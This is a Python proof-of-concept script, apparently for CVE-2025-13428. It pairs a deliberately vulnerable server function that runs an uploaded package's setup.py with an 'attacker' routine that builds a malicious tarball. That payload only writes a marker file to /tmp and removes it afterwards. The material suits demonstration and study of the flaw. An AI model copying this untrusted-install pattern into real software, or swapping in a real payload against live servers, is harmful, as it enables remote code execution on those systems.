Vulnerable code sample

import os
import subprocess
import tempfile
import shutil
import tarfile

# This represents the vulnerable server-side function that processes an uploaded integration package.
# The flaw is that it blindly trusts and executes the setup.py file from the package.
def install_custom_integration(package_path):
    """
    Extracts and installs a custom integration package.
    VULNERABILITY: Executes setup.py without validation, leading to RCE.
    """
    # Create a temporary directory to extract the package
    with tempfile.TemporaryDirectory() as temp_dir:
        print(f"[Server] Unpacking '{package_path}' to '{temp_dir}'...")
        try:
            # Unpack the tar.gz file
            shutil.unpack_archive(package_path, temp_dir)
        except Exception as e:
            print(f"[Server] Error unpacking archive: {e}")
            return

        # Find the setup.py file's directory
        package_source_dir = None
        for root, dirs, files in os.walk(temp_dir):
            if "setup.py" in files:
                package_source_dir = root
                break

        if package_source_dir:
            print(f"[Server] Found setup.py in '{package_source_dir}'.")
            print("[Server] VULNERABLE ACTION: Running 'python setup.py install'...")

            # DANGEROUS: Execute the setup script. An attacker controls this file.
            # This is where the Remote Code Execution occurs.
            try:
                # The 'cwd' argument ensures the command runs in the context of the extracted package.
                result = subprocess.run(
                    ["python", "setup.py", "install"],
                    cwd=package_source_dir,
                    capture_output=True,
                    text=True,
                    check=False # Set to False to see output even on error
                )
                print("[Server] Subprocess STDOUT:\n" + result.stdout)
                print("[Server] Subprocess STDERR:\n" + result.stderr)
                print("[Server] Installation command finished.")

            except Exception as e:
                print(f"[Server] An exception occurred during installation: {e}")
        else:
            print("[Server] Error: setup.py not found in the package.")


# --- Simulation of an attacker's actions ---
def create_malicious_package(file_name="malicious_package.tar.gz"):
    """Creates a malicious Python package with a payload in setup.py."""
    print("[Attacker] Creating a malicious package...")

    # The malicious payload to be embedded in setup.py
    # This payload will execute on the server during installation.
    malicious_setup_py_content = """
from setuptools import setup
import os

print("--- Malicious setup.py is executing ---")
# Simple RCE payload: create a file to prove execution
payload_file = "/tmp/rce_was_successful"
print(f"Executing payload: Creating file at {payload_file}")
with open(payload_file, "w") as f:
    f.write("CVE-2025-13428 PoC executed successfully.\\n")
print("--- Malicious execution finished ---")

setup(
    name="malicious_integration",
    version="1.0",
    description="A package with a harmful setup script.",
)
"""
    with tempfile.TemporaryDirectory() as temp_dir:
        package_dir = os.path.join(temp_dir, "malicious_integration-1.0")
        os.makedirs(package_dir)

        # Write the malicious setup.py
        with open(os.path.join(package_dir, "setup.py"), "w") as f:
            f.write(malicious_setup_py_content)

        # Write a dummy __init__.py to make it a package
        with open(os.path.join(package_dir, "__init__.py"), "w") as f:
            pass
        
        # Create a compressed tarball (source distribution)
        with tarfile.open(file_name, "w:gz") as tar:
            tar.add(package_dir, arcname=os.path.basename(package_dir))

    print(f"[Attacker] Malicious package created at '{file_name}'")
    return file_name


if __name__ == "__main__":
    # 1. Attacker creates the malicious package
    malicious_archive = create_malicious_package()

    print("\n" + "="*50 + "\n")

    # 2. Attacker uploads the package, and the server's vulnerable function processes it
    print("[Server] Simulating an authenticated user uploading a custom integration...")
    # This function call represents the vulnerable part of the server application
    install_custom_integration(malicious_archive)

    print("\n" + "="*50 + "\n")

    # 3. Verify if the RCE payload was successful
    proof_of_concept_file = "/tmp/rce_was_successful"
    print(f"[Verification] Checking for existence of '{proof_of_concept_file}'...")
    if os.path.exists(proof_of_concept_file):
        print(f"[Verification] SUCCESS: The payload executed. The file was created.")
        with open(proof_of_concept_file, 'r') as f:
            print(f"File content: '{f.read().strip()}'")
        # Clean up the evidence
        os.remove(proof_of_concept_file)
        print("[Verification] Cleaned up the payload file.")
    else:
        print("[Verification] FAILURE: The payload did not execute. The file was not found.")

    # Clean up the created package
    if os.path.exists(malicious_archive):
        os.remove(malicious_archive)